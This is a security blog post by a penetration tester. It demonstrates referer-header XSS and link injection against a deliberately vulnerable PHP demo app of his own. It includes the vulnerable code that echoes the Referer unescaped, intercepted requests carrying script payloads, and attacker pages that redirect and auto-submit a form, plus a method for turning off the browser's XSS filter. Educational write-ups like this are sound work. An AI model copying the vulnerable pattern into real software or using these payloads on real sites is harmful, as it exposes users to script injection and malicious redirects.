Referer XSS with a Side of Link Injection

I wanted to share an example of referer XSS, as I've never been able to play with it before.

Referer XSS - Introduction

During an engagement earlier this year, I found an application that was vulnerable to XSS, as well as link injection, via the 'Referer' header. I wanted to share a way to find this vulnerability, as well as an example exploit.

For more information, you can also visit the following GitHub post or write-up.

I apologize again in advance, but the IP changes a few times during this post due to switching machines/VMs.

Vulnerable Application

I started with the search page from my XSS Attack Chain post and modified it.

<html>
<head>
<title>Search Page</title>
</head>

<body>

<?php
    $query = $_GET['q'];
    if (strpos($query, '\'') !== false) {
        header("Location: error.php");
    }
    else {
        echo "<i>Your search query is:</i> $query";
    }
?>

<br />
<br />
<br />

<?php
    date_default_timezone_set("America/New_York"); // default time zone

    echo "<p><b>Copyright © 2016-" . date("Y") . "</b>: <i>Ray Doyle (@doylersec) - <a href=\"https://www.doyler.net\">doyler.net</a></i></p>";
?>

</body>
</html>

As you can see, the search page displays the query parameter as expected.

Referer XSS - Search

Additionally, I added an error page that would display the referer header, to demonstrate the exploit.

<html>
<head>
<title>Error Page</title>
</head>

<body>

We apologize for the inconvenience, but the application has encountered an error.

<?php
    echo "<a href=\"" . $_SERVER["HTTP_REFERER"] . "\">Go back to the last known good page?</a>";
?>

<br />
<br />

If the problems persist, then please contact us!

<br />
<br />
<br />

<?php
    date_default_timezone_set("America/New_York"); // default time zone

    echo "<p><b>Copyright © 2016-" . date("Y") . "</b>: <i>Ray Doyle (@doylersec) - <a href=\"https://www.doyler.net\">doyler.net</a></i></p>";
?>

</body>
</html>

Error Condition

While I've contrived the error condition, it will work as a basic demo.

To cause the exploit, a user can just send a request to the following URL:

http://localhost:1234/search.php?q=test'

As you can see, the server redirects the user to error.php after this request.

Referer XSS - Error

Referer XSS - Attack

To start the exploit, I created a page with the following link.

Search for test' with <a href="search.php?q=test'">this link</a>!

Referer XSS - Link

As you can see, the HTTP request contains the referer of the attack page.

GET /error.php HTTP/1.1
Host: 192.168.5.97:1234
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost:8000/attack.html
Connection: close
Upgrade-Insecure-Requests: 1

When a user clicks this link, the error page contains the expected attack.html link.

Referer XSS - Referer

Request Interception

First, to demonstrate this vulnerability, I intercepted the request and manually modified the referer header.

GET /error.php HTTP/1.1
Host: 192.168.5.97:1234
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.5.97:1234/search.php?q=test"><script>alert(1)</script>
Connection: close
Upgrade-Insecure-Requests: 1

Once the user gets to the error page, the alert fires off.

Referer XSS - Alert

Additionally, I wanted to verify that link injection was possible. To do this, I modified the host portion of the referer header as we

Referer: http://www.google.com"><script>alert(1)</script>

When the browser loads the error page, the link on the page points to the "referer" of Google.

Referer XSS - Google Link

When the user clicks the "Go Back" button, they end up at Google as expected.

Referer XSS - Google

Exploitation

As this vulnerability requires control over the referer header, exploitation is a little different than a standard reflected XSS. You will not be sending your target a link to the vulnerable site. Instead, you will send them a link to a page under your control, that will then redirect (manually or automatically) them to the vulnerable application.

To exploit this vulnerability, I modified my attack page a bit. First, if there is no query parameter, it adds one to the URL. This will allow for the automatic exploitation of the error page.

<html>
<head>
<title>Attack Page</title>
</head>

<body>

<script>
if (window.location.search.length == 0)
{
	window.location.href = window.location.href = "?exploit=\"><script>alert(1)<\/script>";
}
</script>

Search for test' with <a href="http://10.0.0.164:1234/search.php?q=test'">this link</a>!

<br />
<br />

</body>

</html>

Unfortunately, when a user clicks on this link, the payload ends up URL encoded.

Referer XSS - URL Encode

That said, Internet Explorer should not automatically encode the special characters in the URL. Unfortunately, this is no longer the case in IE11.

Referer XSS - IE11

That said, once I visited the attack page in IE8, the exploit was successful!

Referer XSS - Exploited

As you can see, the source code contains the un-modified payload.

Referer XSS - IE8

Automation

It is also possible to completely automate this attack, and not require the user to click another link on your malicious page.

First, I modified my attack page to include an auto-submitted form to the search page.

<body>

<form id="exploit" name="exploit" method="GET" action="http://10.0.0.164:1234/search.php">
	<input type="hidden" name="q" value="'" /> 
</form>

<script>
if (window.location.search.length == 0)
{
	window.location.href = window.location.href = "?exploit=\"><script>alert(1)<\/script>";
}
else
{
	document.getElementById('exploit').submit();
}
</script>

</body>

Unfortunately, when a user visited this page in IE8, the XSS filter prevented the 'else' statement from executing.

Referer XSS - XSS Filter

That said, I verified that the full redirect was happening within a Chrome tab.

Referer XSS - Chrome Verification

Instead of messing around with XSS Filter bypasses, I modified my malicious server using the following StackOverflow answer. As I have control over the malicious server, it is simple enough for me to set X-XSS-Protection to 0, and bypass the filter.

Once a user clicks on the link to my attack.html page now, their browser redirects them to the vulnerable error page with a full exploit!

Referer XSS - Full Exploit

Referer XSS - Conclusion

While this is an attack that will only work against older versions of Internet Explorer, I still think it was a fun one.

I actually had a former co-worker run across this vulnerability recently, so it does exist in the wild.

More blog posts are on the way, including a few XSS filter posts, so stay tuned!

doyler on Githubdoyler on Twitter
doyler
Ray Doyle is an avid pentester/security enthusiast/beer connoisseur who has worked in IT for almost 16 years now. From building machines and the software on them, to breaking into them and tearing it all down; he's done it all. To show for it, he has obtained an OSCE, OSCP, eCPPT, GXPN, eWPT, eWPTX, SLAE, eMAPT, Security+, ICAgile CP, ITIL v3 Foundation, and even a sabermetrics certification!

He currently serves as a Senior Penetration tester for Avalara, and his previous position was a Principal Penetration Testing Consultant for Secureworks.

When he's not figuring out what cert to get next or side project to work on, he enjoys playing video games, traveling, and watching sports.

Leave a Comment

Filed under Security Not Included

Leave a Reply

Your email address will not be published. Required fields are marked *

*

This site uses Akismet to reduce spam. Learn how your comment data is processed.